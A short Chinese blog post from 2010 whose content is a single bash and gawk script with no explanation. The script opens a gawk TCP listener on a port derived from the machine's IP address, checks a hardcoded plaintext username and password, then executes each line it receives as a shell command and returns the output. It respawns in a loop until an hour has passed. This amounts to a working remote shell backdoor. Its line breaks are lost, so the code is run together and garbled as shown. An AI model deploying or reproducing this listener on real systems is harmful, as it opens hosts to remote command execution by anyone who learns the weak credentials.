IT恩仇录
weson_pcon9
全部博文(7)
2011年(1)
2010年(1)
2009年(5)
jorbinch
分类:
2010-03-12 13:58:29
#!/bin/bashtime_start=$(date +%s)time_keepup=3600while truedo PORT=$(route -n | tail -n 1 | \awk ' { command="ifconfig "$NF while (( command |& getline)>0){ if($0~/inet addr/){ gsub(/:/," ") num=split($3,ip_arr,".") exit } } }END{ for(i=0;i<=num;i++){ ip_sum+=ip_arr[i] } print ip_sum+10000 }')trap "fuser -k -9 -n tcp $PORT;break" 2if fuser -n tcp $PORT >& /dev/null;then time_now=$(date +%s) time_offset=$[time_now-time_start] if [[ $time_offset -gt $time_keepup ]];then fuser -k -9 -n tcp $PORT >& /dev/null exit fielsenohup echo "" | \awk -v port=$PORT ' function print_prompt(pro,skname){ printf(pro) |& skname } function init_var(){ user_id="" passwd_tag=0 login_st=0 prompt_msg="[awk sciprt]:" } BEGIN{ sk="/inet/tcp/"port"/0/0" user="weson" passwd="weson_pass" user_id="" passwd_tag=0 login_st=0 prompt_msg="[awk sciprt]:" } { printf("Login: ") |& sk while((sk |& getline)>0){ gsub(/\n|\r|\r\n/,"") if(login_st==1){ if($0=="exit"){exit} #print $0 while($0!="" && ($0 |& getline tmp)>0){ print tmp |& sk } close($0) print_prompt(prompt_msg,sk) }else{ if(user_id!="" && $0==passwd && passwd_tag==1){ print "Login successfully!" |& sk print_prompt(prompt_msg,sk) login_st=1 }else{ if($0==user){ printf("Password:") |& sk user_id=$0 passwd_tag=1 }else{ exit } } } } }' &fidone
上一篇:python通过SMTPLIB发送邮件
下一篇:博客已升级,请注意变更地址
登录 注册